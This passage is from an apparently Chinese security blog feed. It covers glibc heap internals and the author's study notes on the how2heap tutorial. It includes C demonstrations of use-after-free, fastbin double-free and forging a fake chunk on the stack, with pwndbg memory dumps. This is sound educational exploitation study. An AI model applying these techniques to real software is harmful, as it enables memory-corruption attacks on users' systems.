id="heap初始化"><a href="#heap初始化" class="headerlink" title="heap初始化"></a>heap初始化</h3><pre><code>是在第一次请求分配内存的时候进行的,比如第一次进行malloc的时候。 进行了一系列函数调用,并且设置了初始化标志位,将main_arena的next arena指向自己等等。在这个阶段,heap还没有被分配。</code></pre><h3 id="heap-创建"><a href="#heap-创建" class="headerlink" title="heap 创建"></a>heap 创建</h3><pre><code>是在请求分配,初始化完成之后,但是还没有可以进行分配的内存的时候,也就是上述初始化结束之后进行。跳过一些列函数调用,大概内容也是进行一些数据结构的初始化,不过在这个阶段,在所有bin中依然没有任何可以分配的chunk。</code></pre><h3 id="分配fastbin-chunk"><a href="#分配fastbin-chunk" class="headerlink" title="分配fastbin chunk"></a>分配fastbin chunk</h3><pre><code>刚初始化之后max size和索引值均为空,由small bin处理 不为空的时候,计算索引,根据索引找到相应的bin 取走该bin的第一个chunk,第二个chunk成为第一个chunk 将chunk地址转换为用户的mem地址,返回</code></pre><h3 id="分配small-bin-chunk"><a href="#分配small-bin-chunk" class="headerlink" title="分配small bin chunk"></a>分配small bin chunk</h3><pre><code>刚初始化之后small bin都为空。Small bin某一个bin为空的时候就交给unsorted bin处理 不为空的时候,最后一个chunk被取走 转换为mem地址,返回</code></pre><h3 id="分配-large-chunk"><a href="#分配-large-chunk" class="headerlink" title="分配 large chunk"></a>分配 large chunk</h3><pre><code>刚初始化之后,large bin都为空,为空或者large bin中最大的也无法满足要求,就交给下一个最大的bin来处理 不为空的时候,如果最大的chunk大小比请求的空间大,从后往前找能够满足要求的chunk 找到之后,切成两半,一个返回给用户,一个加入unsorted bin</code></pre><h3 id="释放"><a href="#释放" class="headerlink" title="释放"></a>释放</h3><pre><code>释放基本上就是检查前后一个相邻的chunk是否是空闲的,是空闲的则合并,然后加入unsorted bin,否则直接加入unsorted bin</code></pre><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章:"></a>参考文章:</h2><p><a href="https://blog.csdn.net/qq_29343201/article/details/59614863">https://blog.csdn.net/qq_29343201/article/details/59614863</a><br><a href="https://www.anquanke.com/post/id/163971">https://www.anquanke.com/post/id/163971</a></p>]]></content>
</entry>
<entry>
<title>How2heap 学习记录</title>
<link href="/2019/02/26/how2heap-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/"/>
<url>/2019/02/26/how2heap-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h2 id="0x01-环境"><a href="#0x01-环境" class="headerlink" title="0x01 环境"></a>0x01 环境</h2><p>how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术。使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:</p><pre><code>$ file /lib/x86_64-linux-gnu/libc-2.23.so/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped</code></pre><p>从github clone文件夹下来</p><pre><code>$ git clone https://github.com/shellphish/how2heap.git$ cd how2heap$ make</code></pre><p>还有几个实例程序, from <a href="https://firmianay.gitbooks.io/ctf-all-in-one/doc/3.1.6_heap_exploit_1.html">CTF-ALL-IN-ONE</a></p><h2 id="0x02-堆分配机制-amp-malloc-amp-free"><a href="#0x02-堆分配机制-amp-malloc-amp-free" class="headerlink" title="0x02 堆分配机制 & malloc & free"></a>0x02 堆分配机制 & malloc & free</h2><p>在用malloc分配内存时, 程序向堆管理器发起请求</p><p>为了保持内存管理高效, 内核会预先分配一块内存给堆管理器, 堆空间不足时, 堆管理器向操作系统进行交互</p><h3 id="malloc-malloc-size-t-n"><a href="#malloc-malloc-size-t-n" class="headerlink" title="malloc: malloc(size_t n)"></a>malloc: <code>malloc(size_t n)</code></h3><ul><li>当<code>n=0</code>时, 返回操作系统允许的最小内存块</li><li>当<code>n<0</code>时, 由于size_t是无符号整型, 因此会分配一个很大的内存(通常失败, 因为没有这么大内存)</li><li>正常情况下返回指定大小的内存的指针</li></ul><p>malloc本身是一个用户函数, 并没有真正和系统进行交互, 而是通过调用brk和sbrk以及mmap, munmap函数来操作</p><p><img src="/2019/02/26/how2heap-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/1.jpg" alt="img"></p><p>图片来自<a href="https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/heap_overview/#_4">ctfwiki</a></p><p>限于篇幅, 调用malloc后系统的操作将在另一篇文章里说明</p><h3 id="free-free-void-p"><a href="#free-free-void-p" class="headerlink" title="free: free(void* p)"></a>free: <code>free(void* p)</code></h3><ul><li>p=null时, free不做任何操作</li><li>p指向的内存如果被释放, 会造成各种影响 (glibc的原文说明:It can have arbitrary (i.e., bad!)effects if p has already been freed.)</li><li>除了在用mallopt限制了一些内存操作的情况下,当free很大的内存时, 会将这些内存直接返还给系统, 而不是交给堆管理器 </li></ul><h2 id="0x03-pwndbg的几个操作指令"><a href="#0x03-pwndbg的几个操作指令" class="headerlink" title="0x03 pwndbg的几个操作指令"></a>0x03 pwndbg的几个操作指令</h2><p>用了一圈peda, gef, 还是pwndbg好用</p><pre><code>r(un) 重新开始运行程序c(ontinue) 到断点后继续执行n(ext) 单步步过调试s(tep) 单步步入调试until 运行至循环结束until addr 运行至某一指令finish 运行至当前函数完成返回call 调试某个函数q(uit) 退出b(reak) addr 在指定位置设置断点delete 断点号 删除断点disable 断点号 暂停断点enable 断点号 恢复断点clear addr 删除指定位置的断点info b(reakpoints) 查看断点信息delete b(reakpoints) 删除所有断点where/bt 当前运行的堆栈列表;bt backtrace 显示当前调用堆栈up/down 改变堆栈显示的深度set args 参数:指定运行时的参数show args:查看设置好的参数arena 查看arenamp 查看mmapbins,fastbins,unsorted,smallbins,largebins 各种binsheap 查看堆top_chunkrop --grep "pop rdi" ROP搜索vmmap 虚拟内存映射</code></pre><h2 id="0x04-first-fit"><a href="#0x04-first-fit" class="headerlink" title="0x04 first_fit"></a>0x04 first_fit</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"glibc uses a first-fit algorithm to select a free chunk.\n"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If a chunk is free and large enough, malloc will select this chunk.\n"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This can be exploited in a use-after-free situation.\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating 2 buffers. They can be large, don't have to be fastbin.\n"</span>);</span><br><span class="line"><span class="keyword">char</span>* a = <span class="built_in">malloc</span>(<span class="number">512</span>);</span><br><span class="line"><span class="keyword">char</span>* b = <span class="built_in">malloc</span>(<span class="number">256</span>);</span><br><span class="line"><span class="keyword">char</span>* c;</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st malloc(512): %p\n"</span>, a);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd malloc(256): %p\n"</span>, b);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"we could continue mallocing here...\n"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"now let's put a string at a that we can read later \"this is A!\"\n"</span>);</span><br><span class="line"><span class="built_in">strcpy</span>(a, <span class="string">"this is A!"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"first allocation %p points to %s\n"</span>, a, a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the first one...\n"</span>);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n"</span>, a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"So, let's allocate 500 bytes\n"</span>);</span><br><span class="line">c = <span class="built_in">malloc</span>(<span class="number">500</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd malloc(500): %p\n"</span>, c);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And put a different string here, \"this is C!\"\n"</span>);</span><br><span class="line"><span class="built_in">strcpy</span>(c, <span class="string">"this is C!"</span>);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd allocation %p points to %s\n"</span>, c, c);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"first allocation %p points to %s\n"</span>, a, a);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If we reuse the first allocation, it now holds the data from the third allocation.\n"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>第一个程序展示了glibc的堆分配算法, 即first fit首次适应算法</p><pre><code>➜ how2heap git:(master) ✗ ./first_fit This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.glibc uses a first-fit algorithm to select a free chunk.If a chunk is free and large enough, malloc will select this chunk.This can be exploited in a use-after-free situation.Allocating 2 buffers. They can be large, don't have to be fastbin.1st malloc(512): 0x21f10102nd malloc(256): 0x21f1220we could continue mallocing here...now let's put a string at a that we can read later "this is A!"first allocation 0x21f1010 points to this is A!Freeing the first one...We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x21f1010So, let's allocate 500 bytes3rd malloc(500): 0x21f1010And put a different string here, "this is C!"3rd allocation 0x21f1010 points to this is C!first allocation 0x21f1010 points to this is C!If we reuse the first allocation, it now holds the data from the third allocation.</code></pre><p>程序先malloc了一个512byte的chunk, 之后malloc了一个256byte的chunk</p><p>然后向这两个chunk写入数据</p><p>再free第一个512byte的chunk</p><p>之后malloc一个500byte的chunk, 会优先分配之前free掉的chunk, 这个free掉的chunk保存在bins中</p><p>所以为什么叫bins, 即存放free后的chunk的一个盒子</p><p>现在加上内存检测参数重新编译</p><pre><code>➜ how2heap git:(master) ✗ gcc -fsanitize=address -g first_fit.c➜ how2heap git:(master) ✗ ./a.out This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.glibc uses a first-fit algorithm to select a free chunk.If a chunk is free and large enough, malloc will select this chunk.This can be exploited in a use-after-free situation.Allocating 2 buffers. They can be large, don't have to be fastbin.1st malloc(512): 0x61500000fd002nd malloc(256): 0x611000009f00we could continue mallocing here...now let's put a string at a that we can read later "this is A!"first allocation 0x61500000fd00 points to this is A!Freeing the first one...We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x61500000fd00So, let's allocate 500 bytes3rd malloc(500): 0x61500000fa80And put a different string here, "this is C!"3rd allocation 0x61500000fa80 points to this is C!===================================================================14332==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f7c483d21e9 bp 0x7ffd40c779f0 sp 0x7ffd40c77168READ of size 2 at 0x61500000fd00 thread T0 #0 0x7f7c483d21e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8) #1 0x7f7c483d2bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc) #2 0x7f7c483d2cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9) #3 0x400df4 in main /home/a/how2heap/first_fit.c:35 #4 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #5 0x400878 in _start (/home/a/how2heap/a.out+0x400878)0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)freed by thread T0 here: #0 0x7f7c4840a2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca) #1 0x400c4c in main /home/a/how2heap/first_fit.c:25 #2 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)previously allocated by thread T0 here: #0 0x7f7c4840a602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x400a97 in main /home/a/how2heap/first_fit.c:13 #2 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)SUMMARY: AddressSanitizer: heap-use-after-free ??:0 ??Shadow bytes around the buggy address:0x0c2a7fff9f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 000x0c2a7fff9f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 000x0c2a7fff9f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 000x0c2a7fff9f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 fa0x0c2a7fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa=>0x0c2a7fff9fa0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd0x0c2a7fff9fb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd0x0c2a7fff9fc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd0x0c2a7fff9fd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd0x0c2a7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa0x0c2a7fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa faShadow byte legend (one shadow byte represents 8 application bytes):Addressable: 00Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: faHeap right redzone: fbFreed heap region: fdStack left redzone: f1Stack mid redzone: f2Stack right redzone: f3Stack partial redzone: f4Stack after return: f5Stack use after scope: f8Global redzone: f9Global init order: f6Poisoned by user: f7Container overflow: fcArray cookie: acIntra object redzone: bbASan internal: fe==14332==ABORTING</code></pre><p>可以看到检测到一个uaf的漏洞</p><h2 id="0x05-fastbin-dup"><a href="#0x05-fastbin-dup" class="headerlink" title="0x05 fastbin_dup"></a>0x05 fastbin_dup</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"This file demonstrates a simple double-free attack with fastbins.\n"</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating 3 buffers.\n"</span>);</span><br><span class="line"><span class="keyword">int</span> *a = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"><span class="keyword">int</span> *b = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"><span class="keyword">int</span> *c = <span class="built_in">malloc</span>(<span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st malloc(8): %p\n"</span>, a);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd malloc(8): %p\n"</span>, b);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd malloc(8): %p\n"</span>, c);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the first one...\n"</span>);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"If we free %p again, things will crash because %p is at the top of the free list.\n"</span>, a, a);</span><br><span class="line"><span class="comment">// free(a);</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"So, instead, we'll free %p.\n"</span>, b);</span><br><span class="line"><span class="built_in">free</span>(b);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now, we can free %p again, since it's not the head of the free list.\n"</span>, a);</span><br><span class="line"><span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n"</span>, a, b, a, a);</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st malloc(8): %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd malloc(8): %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line"><span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd malloc(8): %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">8</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>程序先malloc了3个8byte的chunk</p><pre><code>pwndbg> heap0x602000 FASTBIN {prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x602020 FASTBIN {prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21}0x602040 FASTBIN {prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fa1}0x602060 PREV_INUSE {prev_size = 0, size = 135073, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x0000000000000021 <------------ chunk 10x602010: 0x0000000000000000 0x00000000000000000x602020: 0x0000000000000000 0x0000000000000021 <------------ chunk 20x602030: 0x0000000000000000 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000021 <------------ chunk 30x602050: 0x0000000000000000 0x00000000000000000x602060: 0x0000000000000000 0x0000000000020fa1</code></pre><p>之后free了第一个chunk</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x0000000000000021 <------------ chunk 1(be freed)0x602010: 0x0000000000000000 0x00000000000000000x602020: 0x0000000000000000 0x0000000000000021 <------------ chunk 20x602030: 0x0000000000000000 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000021 <------------ chunk 30x602050: 0x0000000000000000 0x00000000000000000x602060: 0x0000000000000000 0x0000000000020fa1</code></pre><p>如果这时候再次free第一个chunk(去掉代码内注释)的话, 会提示:</p><pre><code>➜ how2heap git:(master) ✗ ./fastbin_dup This file demonstrates a simple double-free attack with fastbins.Allocating 3 buffers.1st malloc(8): 0xa920102nd malloc(8): 0xa920303rd malloc(8): 0xa92050Freeing the first one...If we free 0xa92010 again, things will crash because 0xa92010 is at the top of the free list.*** Error in `./fastbin_dup': double free or corruption (fasttop): 0x0000000000a92010 ***======= Backtrace: =========/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fe8490a57e5]/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fe8490ae37a]/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe8490b253c]./fastbin_dup[0x400762]/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fe84904e830]./fastbin_dup[0x400579]======= Memory map: ========00400000-00401000 r-xp 00000000 08:01 1204504 /home/a/how2heap/fastbin_dup00600000-00601000 r--p 00000000 08:01 1204504 /home/a/how2heap/fastbin_dup00601000-00602000 rw-p 00001000 08:01 1204504 /home/a/how2heap/fastbin_dup00a92000-00ab3000 rw-p 00000000 00:00 0 [heap]7fe844000000-7fe844021000 rw-p 00000000 00:00 0 7fe844021000-7fe848000000 ---p 00000000 00:00 0 7fe848e18000-7fe848e2e000 r-xp 00000000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.17fe848e2e000-7fe84902d000 ---p 00016000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.17fe84902d000-7fe84902e000 rw-p 00015000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.17fe84902e000-7fe8491ee000 r-xp 00000000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so7fe8491ee000-7fe8493ee000 ---p 001c0000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so7fe8493ee000-7fe8493f2000 r--p 001c0000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so7fe8493f2000-7fe8493f4000 rw-p 001c4000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so7fe8493f4000-7fe8493f8000 rw-p 00000000 00:00 0 7fe8493f8000-7fe84941e000 r-xp 00000000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so7fe8495ff000-7fe849602000 rw-p 00000000 00:00 0 7fe84961c000-7fe84961d000 rw-p 00000000 00:00 0 7fe84961d000-7fe84961e000 r--p 00025000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so7fe84961e000-7fe84961f000 rw-p 00026000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so7fe84961f000-7fe849620000 rw-p 00000000 00:00 0 7fff56009000-7fff5602a000 rw-p 00000000 00:00 0 [stack]7fff56128000-7fff5612b000 r--p 00000000 00:00 0 [vvar]7fff5612b000-7fff5612d000 r-xp 00000000 00:00 0 [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall][1] 14401 abort (core dumped) ./fastbin_dup</code></pre><p>这是因为glibc内在free同一个chunk时做了处理:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Check that the top of the bin is not the record we are going to add</span></span><br><span class="line"><span class="comment"> (i.e., double free). */</span></span><br><span class="line"><span class="keyword">if</span> (__builtin_expect (old == p, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> errstr = <span class="string">"double free or corruption (fasttop)"</span>;</span><br><span class="line"> <span class="keyword">goto</span> errout;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>由于fastbins是一个后进先出(LIFO)的结构, 处于链表头的总是最先被free的chunk</p><p>因此我们先free第一个chunk, 之后free第二个chunk, 接着就可以再次free第一个chunk了</p><p>因为glibc并未对后续堆块进行检查, 仅检查了最前面的chunk</p><pre><code>➜ how2heap git:(master) ✗ ./fastbin_dup This file demonstrates a simple double-free attack with fastbins.Allocating 3 buffers.1st malloc(8): 0x11010102nd malloc(8): 0x11010303rd malloc(8): 0x1101050Freeing the first one...If we free 0x1101010 again, things will crash because 0x1101010 is at the top of the free list.So, instead, we'll free 0x1101030.Now, we can free 0x1101010 again, since it's not the head of the free list.Now the free list has [ 0x1101010, 0x1101030, 0x1101010 ]. If we malloc 3 times, we'll get 0x1101010 twice!1st malloc(8): 0x11010102nd malloc(8): 0x11010303rd malloc(8): 0x1101010</code></pre><p>加上注释以后可以看到, 在free了两次第一个堆块(0x1101010)后, fastbins的链表中保存了两次这个chunk</p><p>按照free的先后顺序, 即0x1101010 -> 0x1101030 -> 0x1101010</p><p>在pwndbg中可以看到:</p><pre><code>pwndbg> fastbins fastbins0x20: 0x602000 —▸ 0x602020 ◂— 0x6020000x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0</code></pre><p>此时, 如果我们malloc三个chunk, 将会从fastbins的链表中返回chunk</p><p>可以在输出结果中看到0x1101010这个chunk被返回了两次</p><p>同样的, 如果加上内存检测参数<code>-fsanitize=address -g</code>会提示有double-free漏洞</p><h2 id="0x06-fastbin-dup-into-stack"><a href="#0x06-fastbin-dup-into-stack" class="headerlink" title="0x06 fastbin_dup_into_stack"></a>0x06 fastbin_dup_into_stack</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> stack_var = <span class="number">0x21</span>;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating 3 buffers.\n"</span>);</span><br><span class="line"> <span class="keyword">char</span> *a = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="keyword">char</span> *b = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="keyword">char</span> *c = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(a, <span class="string">"AAAAAAAA"</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(b, <span class="string">"BBBBBBBB"</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(c, <span class="string">"CCCCCCCC"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"1st malloc(9) %p points to %s\n"</span>, a, a);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"2nd malloc(9) %p points to %s\n"</span>, b, b);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"3rd malloc(9) %p points to %s\n"</span>, c, c);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the first one %p.\n"</span>, a);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then freeing another one %p.\n"</span>, b);</span><br><span class="line"> <span class="built_in">free</span>(b);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Freeing the first one %p again.\n"</span>, a);</span><br><span class="line"> <span class="built_in">free</span>(a);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocating 4 buffers.\n"</span>);</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> *d = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> *d = (<span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span>) (((<span class="keyword">char</span>*)&stack_var) - <span class="keyword">sizeof</span>(d));</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"4nd malloc(9) %p points to %p\n"</span>, d, &d);</span><br><span class="line"> <span class="keyword">char</span> *e = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(e, <span class="string">"EEEEEEEE"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"5nd malloc(9) %p points to %s\n"</span>, e, e);</span><br><span class="line"> <span class="keyword">char</span> *f = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(f, <span class="string">"FFFFFFFF"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"6rd malloc(9) %p points to %s\n"</span>, f, f);</span><br><span class="line"> <span class="keyword">char</span> *g = <span class="built_in">malloc</span>(<span class="number">9</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(g, <span class="string">"GGGGGGGG"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"7th malloc(9) %p points to %s\n"</span>, g, g);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个程序展示了如何通过修改fd指针在栈上伪造一个free chunk</p><p>在malloc了3个chunk并且复制了3个字符串进去后:</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x4141414141414141 0x00000000000000000x602020: 0x0000000000000000 0x00000000000000210x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x00000000000000210x602050: 0x4343434343434343 0x00000000000000000x602060: 0x0000000000000000 0x0000000000020fa1</code></pre><p>对第一个chunk double free后:</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x0000000000602020 0x00000000000000000x602020: 0x0000000000000000 0x00000000000000210x602030: 0x0000000000602000 0x00000000000000000x602040: 0x0000000000000000 0x00000000000000210x602050: 0x4343434343434343 0x00000000000000000x602060: 0x0000000000000000 0x0000000000020fa1pwndbg> fastbins 